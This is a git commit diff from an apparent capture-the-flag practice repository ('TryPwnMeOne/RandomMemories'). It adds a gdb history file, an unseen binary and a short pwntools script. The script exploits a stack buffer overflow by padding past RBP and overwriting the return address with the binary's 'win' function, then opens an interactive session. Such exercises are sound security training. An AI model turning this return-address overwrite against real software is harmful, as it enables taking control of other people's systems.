initial commit
This commit is contained in:
2
CTF/TryPwnMeOne/RandomMemories/.gdb_history
Normal file
2
CTF/TryPwnMeOne/RandomMemories/.gdb_history
Normal file
@@ -0,0 +1,2 @@
|
||||
vmmap
|
||||
vmmap
|
||||
BIN
CTF/TryPwnMeOne/RandomMemories/random
Normal file
BIN
CTF/TryPwnMeOne/RandomMemories/random
Normal file
Binary file not shown.
19
CTF/TryPwnMeOne/RandomMemories/test.py
Normal file
19
CTF/TryPwnMeOne/RandomMemories/test.py
Normal file
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
context.update(os="linux", arch="amd64", log_level="error")
|
||||
context.binary = binary = ELF("./random", checksec=False )
|
||||
|
||||
r = process()
|
||||
gdb.attach(r)
|
||||
|
||||
win_function_address = binary.symbols["win"]
|
||||
|
||||
payload = b"A" * 256 # offset to the RBP
|
||||
payload += b"B" * 8 # overwrite the RBP
|
||||
payload += p64(win_function_address) # address of the win function
|
||||
|
||||
r.recvuntil(b"Return to where? : \n")
|
||||
r.sendline(payload)
|
||||
r.recvuntil(b"ok, let's go!\n\n")
|
||||
r.interactive()
|
||||
Reference in New Issue
Block a user